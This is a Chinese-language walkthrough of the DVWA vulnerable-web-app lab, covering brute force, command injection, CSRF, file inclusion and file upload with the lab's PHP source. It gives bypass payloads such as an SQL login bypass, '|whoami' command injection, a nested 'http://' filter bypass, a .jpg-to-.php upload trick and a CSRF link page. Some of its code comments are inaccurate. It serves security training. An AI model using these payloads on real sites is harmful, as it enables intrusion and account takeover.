DVWA通关教程

Brute Force

Low

先进行一下代码审计

<?php  
  
// 检查是否通过GET请求传递了'Login'参数(注意:这里应该是'username'或类似的,但代码逻辑有误)  
if( isset( $_GET[ 'Login' ] ) ) {  
    // 从GET请求中获取用户名  
    $user = $_GET[ 'username' ]; // 注意:这里应该是'$_GET['username']',但键名写错了  
  
    // 从GET请求中获取密码,并使用MD5算法进行哈希  
    $pass = $_GET[ 'password' ];  
    $pass = md5( $pass ); // MD5已不被认为是安全的哈希算法,不应在新开发的应用中使用  
  
    // 准备SQL查询语句,用于从数据库中查找用户  
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";  
    // 执行SQL查询,使用全局变量$GLOBALS["___mysqli_ston"]作为数据库连接  
    // 如果查询失败,则输出错误信息  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  
  
    // 检查查询结果是否存在且仅有一行(即一个匹配的用户)  
    if( $result && mysqli_num_rows( $result ) == 1 ) {  
        // 从结果集中获取用户详细信息  
        $row    = mysqli_fetch_assoc( $result );  
        $avatar = $row["avatar"]; // 获取用户的头像URL  
  
        // 登录成功,输出欢迎信息和用户头像  
        echo "<p>Welcome to the password protected area {$user}</p>";  
        echo "<img src=\"{$avatar}\" />";  
    }  
    else {  
        // 登录失败,输出错误信息  
        echo "<pre><br />Username and/or password incorrect.</pre>";  
    }  
  
    // 关闭数据库连接(尽管这里使用了三元运算符,但实际上并没有对结果进行任何处理)  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
}  
  
?>

先在这里说一下,这段php代码没有对输入进行任何的过滤,我们可以采用sql注入去爆破数据库登录,或者使用万能密码 比如 admin or 1 = 1 (原理是or只要前后成立一个即可),这题需要用单引号进行闭合注入

打开BP,进行抓包,输入用户名和密码(随意)

抓包分析,右键发送到intruder中

下面介绍一下BP的爆破方式

Sniper

单参数爆破,多参数时使用同一个字典按顺序替换各参数,只有一个数据会被替换

在password的变蓝的地方添加playload

在这里配置字典,可以看到payload是password的时候长度有变化,所以password就是密码

Battering ram

 多参数同时爆破,但用的是同一个字典,每个参数数据都是一致的

我们可以看到没有一样的,说明没成功

Pichfork

 多参数同时爆破,但用的是不同的字典,不同字典间数据逐行匹配

可以看到当username = admin 并且password= password 是长度和其他的都不同,所以即使账户和密码

Cluster bamb

多参数做笛卡尔乘积模式爆破

可以明显的看到长度不一样

Medium

Medium步骤和low等级完全一样,主要是源码多了一点东西导致难度会提高一点,但无伤大雅,low等级能跑出来的Medium也能跑出来,接下来就让我们进行一下代码审计吧

<?php  
  
// 检查是否通过GET请求提交了Login参数  
if( isset( $_GET[ 'Login' ] ) ) {  
    // 从GET请求中获取用户名,但这里应该使用POST而不是GET来传输敏感信息  
    $user = $_GET[ 'username' ];  
  
    // 尝试对用户名进行转义,但依赖于全局变量___mysqli_ston,这不是一个好的做法  
    // 更好的做法是将数据库连接作为参数传递给函数或方法  
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
  
    // 从GET请求中获取密码,同样应该使用POST  
    $pass = $_GET[ 'password' ];  
  
    // 对密码进行转义,然后MD5加密。MD5不再被认为是安全的密码存储方式  
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
    $pass = md5( $pass );  
  
    // 构造SQL查询语句,但直接将变量插入SQL语句中是不安全的(SQL注入风险)  
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";  
  
    // 执行SQL查询,如果失败则显示错误信息  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  
  
    // 检查查询结果是否存在且只有一行  
    if( $result && mysqli_num_rows( $result ) == 1 ) {  
        // 获取用户信息  
        $row    = mysqli_fetch_assoc( $result );  
        $avatar = $row["avatar"];  
  
        // 登录成功,但输出用户信息到HTML中可能导致XSS攻击  
        echo "<p>Welcome to the password protected area {$user}</p>";  
        echo "<img src=\"{$avatar}\" />";  
    }  
    else {  
        // 登录失败,延迟2秒响应  
        sleep( 2 );  
        // 输出错误信息  
        echo "<pre><br />Username and/or password incorrect.</pre>";  
    }  
  
    // 关闭数据库连接,但这里的错误处理是多余的  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
}  
  
?>

High

high等级相较于Medium的变化是sleep(rand(0,3))函数随机休眠0到3秒,重点是增加了token值,这增加了难度,接下来看看我们怎么在有token验证的情况下获得正确的用户名和密码

<?php  
  
if( isset( $_GET[ 'Login' ] ) ) {  
    // 检查是否存在CSRF令牌,并与会话令牌匹配,以防止跨站请求伪造  
    // 假设checkToken函数已经定义,并接受请求令牌、会话令牌和失败时重定向的页面  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 清理用户名输入中的反斜杠  
    $user = $_GET[ 'username' ];  
    $user = stripslashes( $user );  
    // 使用mysqli_real_escape_string防止SQL注入,如果数据库连接存在  
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
  
    // 清理密码输入中的反斜杠  
    $pass = $_GET[ 'password' ];  
    $pass = stripslashes( $pass );  
    // 使用mysqli_real_escape_string防止SQL注入,然后加密密码  
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
    $pass = md5( $pass ); // 使用MD5加密密码,尽管这不是最佳实践(应使用更安全的哈希算法)  
  
    // 构造SQL查询语句  
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";  
    // 执行查询,如果失败则显示错误信息  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  
  
    if( $result && mysqli_num_rows( $result ) == 1 ) {  
        // 从结果中获取一行用户数据  
        $row    = mysqli_fetch_assoc( $result );  
        $avatar = $row["avatar"]; // 获取用户头像URL  
  
        // 登录成功  
        echo "<p>Welcome to the password protected area {$user}</p>";  
        echo "<img src=\"{$avatar}\" />"; // 显示用户头像  
    }  
    else {  
        // 登录失败,随机延迟0到3秒以减缓暴力破解攻击  
        sleep( rand( 0, 3 ) );  
        echo "<pre><br />Username and/or password incorrect.</pre>";  
    }  
  
    // 关闭数据库连接(尽管这里的结果赋值操作可能不是最佳实践)  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
}  
  
// 生成新的CSRF令牌并存储在会话中,以便下次请求时验证  
generateSessionToken();  
  
?>

进入payload模块第一个选择字典自己添加,第二个选择递归查询

找到Grep-Extract :这个设置能够被用来通过请求返回的信息来获取有用的信息供你使用,也就是说,可以通过它来获得每次请求后返回的Token,关联到Payload中进行暴力破解

在Payload Options中就可以看到自动加载过来的值,将请求包里user_token的值填入到Initial payload for first request(第一个请求的初始负载)中,也可不填,点击Start attack开启爆破!

如下成功了

Impossible

<?php  
  
// 检查是否提交了登录表单  
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {  
    // 检查Anti-CSRF令牌  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 清理用户名输入(尽管在PDO中不需要,但可能是从旧代码迁移而来)  
    $user = $_POST[ 'username' ];  
    $user = stripslashes( $user ); // 移除反斜杠(在魔术引号开启时有用,但现代PHP中已废弃)  
    // 尝试使用全局mysqli连接进行转义,否则报错  
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
  
    // 清理密码输入(同上)  
    $pass = $_POST[ 'password' ];  
    $pass = stripslashes( $pass );  
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
    $pass = md5( $pass ); // 使用MD5哈希密码(不推荐,因为MD5不安全)  
  
    // 设置默认值和变量  
    $total_failed_login = 3;  
    $lockout_time       = 15;  
    $account_locked     = false;  
  
    // 检查数据库中的用户信息  
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );  
    $data->bindParam( ':user', $user, PDO::PARAM_STR );  
    $data->execute();  
    $row = $data->fetch();  
  
    // 检查用户是否被锁定  
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {  
        // 计算用户何时可以重新登录  
        $last_login = strtotime( $row[ 'last_login' ] );  
        $timeout    = $last_login + ($lockout_time * 60);  
        $timenow    = time();  
  
        // 如果时间未到,则账户被锁定  
        if( $timenow < $timeout ) {  
            $account_locked = true;  
        }  
    }  
  
    // 检查用户名和密码是否匹配  
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );  
    $data->bindParam( ':user', $user, PDO::PARAM_STR);  
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );  
    $data->execute();  
    $row = $data->fetch();  
  
    // 如果登录有效且账户未锁定  
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {  
        // 获取用户详细信息  
        $avatar = $row[ 'avatar' ];  
        // ...(其他用户信息)  
  
        // 登录成功  
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";  
        // ...(其他成功消息)  
  
        // 重置登录失败次数  
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );  
        $data->bindParam( ':user', $user, PDO::PARAM_STR );  
        $data->execute();  
    } else {  
        // 登录失败  
        sleep( rand( 2, 4 ) ); // 延迟响应,可能是为了简单的DoS保护  
  
        // 给出反馈  
        echo "<pre><br />Username and/or password incorrect.<br /><br/>...</pre>";  
  
        // 更新登录失败次数  
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );  
        $data->bindParam( ':user', $user, PDO::PARAM_STR );  
        $data->execute();  
    }  
  
    // 更新最后登录时间  
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );  
    $data->bindParam( ':user', $user, PDO::PARAM_STR );  
    $data->execute();  
}  
  
// 生成Anti-CSRF令牌  
generateSessionToken();  
  
?>

关于暴力破解的防护

  1. 账户锁定:当登录失败次数超过一定阈值时(本例中为3次),账户将被锁定一段时间(本例中为15分钟)。这减少了暴力破解尝试的成功机会,因为攻击者需要等待账户解锁才能继续尝试。

  2. 延迟响应:在登录失败时,服务器会随机延迟响应(2到4秒)。这增加了攻击者进行大量尝试所需的时间,从而降低了暴力破解的效率。

  3. Anti-CSRF令牌:通过检查CSRF令牌,可以防止跨站请求伪造攻击,这虽然不是直接针对暴力破解的防护,但增强了系统的整体安全性。

然而,需要注意的是,MD5哈希密码是不安全的,因为它容易受到彩虹表攻击。建议使用更安全的哈希算法,如bcrypt。此外,代码中的stripslashesmysqli_real_escape_string在PDO环境下是多余的,因为PDO已经通过预处理语句和参数绑定来防止SQL注入。

Command Injection

Low

先来进行一下代码审计

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ]; //提交参数port,get和cookie都可以,获取IP地址

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {//判断是否为window系统,不是则为unix或者linux
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );//执行ping命令
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

可以看到这段代码先是获取了用户输入的IP地址,在获取了才做系统,我们可以尝试用&&,||等连接符号连起来

可以看到这里不仅执行ping 127.0.0.1的命令,还执行了whoami这条命令(它显示了当此命令被调用时当前用户的用户名),也可以执行其他的命令比如nestat -an

可以看到端口监听的状况、还有ipconfig,net user等等

Mediu

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );//这里把 &&和 ;给过滤了

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

我们可以用|| 或者& 等等

High

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );//这里几乎把所有的都过滤了

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

但仔细看|符号后面有个空格,所以我们构造

payload :127.0.0.1 |whoami

记住不要|和whoami之间不要有空格

Impossible

<?php  
  
// 检查是否通过POST方法提交了表单(特别是检查'Submit'按钮是否被点击)  
if( isset( $_POST[ 'Submit' ]  ) ) {  
  
    // 验证CSRF令牌以防止跨站请求伪造  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 从请求中获取IP地址  
    $target = $_REQUEST[ 'ip' ];  
  
    // 使用stripslashes函数去除字符串中的反斜杠(尽管在处理IP地址时可能不是必需的)  
    $target = stripslashes( $target );  
  
    // 使用explode函数以点(.)为分隔符将IP地址分割成四个部分(八位字节)  
    $octet = explode( ".", $target );  
  
    // 检查每个部分(八位字节)是否都是整数,并且数组的大小正好是4  
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {  
  
        // 如果所有四个部分都是整数,则将它们重新组合成IP地址  
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];  
  
        // 根据操作系统类型执行ping命令  
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {  
            // 如果是Windows系统,执行不带次数限制的ping命令  
            $cmd = shell_exec( 'ping  ' . $target );  
        }  
        else {  
            // 如果是*nix系统,执行带次数限制(4次)的ping命令  
            $cmd = shell_exec( 'ping  -c 4 ' . $target );  
        }  
  
        // 将ping命令的输出以预格式化的方式显示给用户  
        echo "<pre>{$cmd}</pre>";  
    }  
    else {  
        // 如果IP地址无效,显示错误信息  
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';  
    }  
}  
  
// 生成新的CSRF令牌并存储在会话中(注意:这里假设generateSessionToken函数负责这项工作)  
generateSessionToken();  
  
?>

IP地址验证:脚本通过分割和检查每个八位字节来验证输入的IP地址是否有效。然而,这种方法虽然基本,但并不完全安全,因为它没有检查每个八位字节是否在0到255的范围内。

在这个脚本中,没有直接对输出进行HTML转义,这可能导致跨站脚本攻击(XSS)的风险,尽管在这个特定的例子中,由于输出的是命令执行的结果,这种风险可能较低。然而,在将用户输入直接嵌入到HTML输出中时,始终应该进行转义。

Cross Site Request Forgery (CSRF)

Low 

网站的本意是在这里更改代码

http://dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

我们可以看到URL变了,所以我们可以直接在URL中

接下来看下代码

<?php  
  
// 检查是否存在名为'Change'的GET请求参数  
if( isset( $_GET[ 'Change' ] ) ) {  
    // 从GET请求中获取新密码和确认密码  
    $pass_new  = $_GET[ 'password_new' ];  
    $pass_conf = $_GET[ 'password_conf' ];  
  
    // 检查新密码和确认密码是否匹配  
    if( $pass_new == $pass_conf ) {  
        // 密码匹配,开始处理  
  
        // 如果全局变量___mysqli_ston存在且是对象,则使用它来转义新密码,避免SQL注入  
        // 否则,触发错误,显示信息"Fix the mysql_escape_string() call! This code does not work."  
        // 这里的错误处理非常糟糕,因为它使用了触发错误作为逻辑判断的一部分  
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
  
        // 使用MD5散列新密码,这是一个不安全的密码散列方法,现已不推荐使用  
        $pass_new = md5( $pass_new );  
  
        // 准备SQL语句以更新数据库中当前用户的密码  
        // 注意:这里使用了一个名为dvwaCurrentUser()的函数来获取当前用户,但没有给出该函数的实现  
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";  
  
        // 执行SQL语句,如果失败则显示错误信息  
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  
  
        // 如果密码更新成功,向用户显示反馈信息  
        echo "<pre>Password Changed.</pre>";  
    }  
    else {  
        // 如果新密码和确认密码不匹配,向用户显示错误信息  
        echo "<pre>Passwords did not match.</pre>";  
    }  
  
    // 尝试关闭数据库连接,但这里的逻辑有些混乱,因为它检查了返回值,但实际上没有使用它  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
}  
  
?>
  1. 使用GET请求处理敏感信息:通过GET请求处理密码更新是一个严重的安全问题,因为GET请求的数据会在URL中明文显示,可能会被记录在服务器日志、浏览器历史等地方。

  2. MD5散列密码:MD5已不被认为是一个安全的密码散列算法,因为它容易受到碰撞攻击。应使用更安全的算法,如bcrypt。

  3. SQL注入风险:尽管代码尝试使用mysqli_real_escape_string来避免SQL注入,但由于使用了dvwaCurrentUser()函数来构建SQL查询,且未展示该函数的实现,如果该函数不安全,仍然存在SQL注入的风险。更好的做法是使用预处理语句(prepared statements)。

Medium

源码分析:和Low等级比较发现,只有一处改变,即在传入密码和确认密码参数前先进行了一个if语句的判断,判断里面的内容主要是验证这个访问请求是否是从dwva网站本身发起的,若不是就不执行后面的操作

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input 判断是否为dvwa页面发起的
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

源码是通过referrer这个字段的参数进行判断的,通常情况下在增加referrer验证时就是网站本身当前页面的ip地址,我们通过抓包看看信息

构造一个页面,里面放一个a标签,链接为更改密码的url,当受害者点击时就会触发更改密码的操作,我们只需要把这个html页面的位置放在和网站同一个目录下,即在自己的电脑上构造一个访问目标网站域名的html文件

High

源码分析:可以看出high等级的主要区别是增加了一个token值的校验,每次登录都会校验token是否正确,若想要执行更改密码操作必须知道正常用户的token,获得用户token的方式有两种:

  1. 构造一个页面让用户点击,点击之后偷偷的读取用户登录网站的token,把token加到自己构造的更改密码的表单上做让用户点击完成攻击,但由于同源策略,一半无法获得token,也有解决方法,但那个更繁琐,这里不赘述了
  2. 如果用户网站上刚好有存储型漏洞,可以利用存储型漏洞与csrf漏洞配合,即通过存储型漏洞获得token再利用csrf漏洞结合拿到的token完成攻
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里为了方便,就假设我通过xss存储型漏洞获得了token,而将token拼接到medium等级的表单中完成攻击获得的token:20f07053354bf93a94e3bb45e2923312

Impossible

<?php  
  
// 检查是否存在名为'Change'的GET请求参数,以触发密码更改逻辑  
if( isset( $_GET[ 'Change' ] ) ) {  
  
    // 检查Anti-CSRF令牌以防止CSRF攻击  
    // 注意:这里假设checkToken, generateSessionToken, 和 dvwaCurrentUser函数已经定义  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 从GET请求中获取当前密码、新密码和确认密码  
    $pass_curr = $_GET[ 'password_current' ];  
    $pass_new  = $_GET[ 'password_new' ];  
    $pass_conf = $_GET[ 'password_conf' ];  
  
    // 去除当前密码输入中的反斜杠(通常不是必要的,因为GET数据通常不包含转义字符)  
    $pass_curr = stripslashes( $pass_curr );  
  
    // 如果存在全局的MySQLi连接且是对象,则对当前密码进行转义,防止SQL注入  
    // 否则,触发错误。这里使用mysqli_real_escape_string可能是一个错误,因为已经使用PDO  
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
  
    // 对当前密码进行MD5散列(不推荐,因为MD5不安全)  
    $pass_curr = md5( $pass_curr );  
  
    // 准备SQL查询以检查当前密码是否正确  
    // 注意:这里使用了PDO准备语句,但之前对$pass_curr的处理可能不是必要的,因为PDO已经提供了参数绑定  
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );  
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); // 绑定当前用户名  
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); // 绑定MD5散列后的当前密码  
    $data->execute(); // 执行查询  
  
    // 检查新密码是否匹配,且当前密码是否与用户匹配  
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {  
  
        // 如果条件满足,对新密码进行相同的处理(去除反斜杠、转义、MD5散列)  
        // 但注意,这里的转义处理可能是不必要的,因为已经使用PDO  
        $pass_new = stripslashes( $pass_new );  
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
        $pass_new = md5( $pass_new );  
  
        // 准备SQL语句以更新用户密码  
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );  
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );  
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );  
        $data->execute(); // 执行更新  
  
        // 向用户显示密码更改成功的反馈  
        echo "<pre>Password Changed.</pre>";  
    }  
    else {  
        // 如果新密码不匹配或当前密码错误,显示错误信息  
        echo "<pre>Passwords did not match or current password incorrect.</pre>";  
    }  
}  
  
// 生成新的Anti-CSRF令牌并存入会话  
generateSessionToken();  
  
?>

File Inclusion

Low 

访问页面,显示allow_url_include 没有开启,我们可以在配置里面开启

allow_url_include参数表示可以远程利用文件包含漏洞

修改为On,并且重启服务

通过访问1.php,2.php, 3.php会返回不通的内容,同时会将文件名传参给page参数

Mediu

通过访问1.php,2.php, 3.php会返回不通的内容,同时会将文件名传参给page参数

对page传参为http://127.0.0.1/1.php

报错了

查看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

如果传参值中有http:// https:// …/ …\都将替换为空

如果传入的是htthttp://p://127.0.0.1/1.php

High

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

关键代码为 使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。

可利用file协议进行读文件

Impossible

<?php  
// 开始PHP代码块  
  
// 通过GET请求获取名为'page'的参数值,并赋值给变量$file  
$file = $_GET[ 'page' ];  
  
// 接下来是一个条件判断语句,用于检查$file变量的值  
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {  
    // 如果$file的值不是"include.php"、"file1.php"、"file2.php"或"file3.php"中的任何一个  
    // 那么执行以下操作  
  
    // 向用户显示错误信息  
    echo "ERROR: File not found!";  
    // 使用exit函数终止脚本的执行,防止后续代码的执行  
    exit;  
}  
  
// 如果$file的值是上述四个允许的文件名之一,则条件判断语句内的代码不会执行  
// 接下来的代码(如果有的话)将会执行,但在这段给定的代码中,没有包含后续操作  
  
?>  
// 结束PHP代码块

File Upload

Low 

首先我们准备一个一句话木马文件

 <?php phpinfo();?>

1、访问页面有一个文件上传点

image-20221027142832656

2、直接上传123.php

image-20221027142855827

3、访问文件

image-20221027142919741

Mediu

1、直接上传123.php文件

image-20221027142956206

2、修改123.php文件名为456.jpg,上传时通过burp抓取上传请求包,将456.jpg修改为456.php

image-20221027143222253

image-20221027143234791

3、上传成功 访问文件

image-20221027143259456

image-20221027143313110

High

1、当我们使用第二关的方式时,显示

2、查询后端源代码

strrpos(string , find ,start): 查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始
substr(string,start,length): 返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度
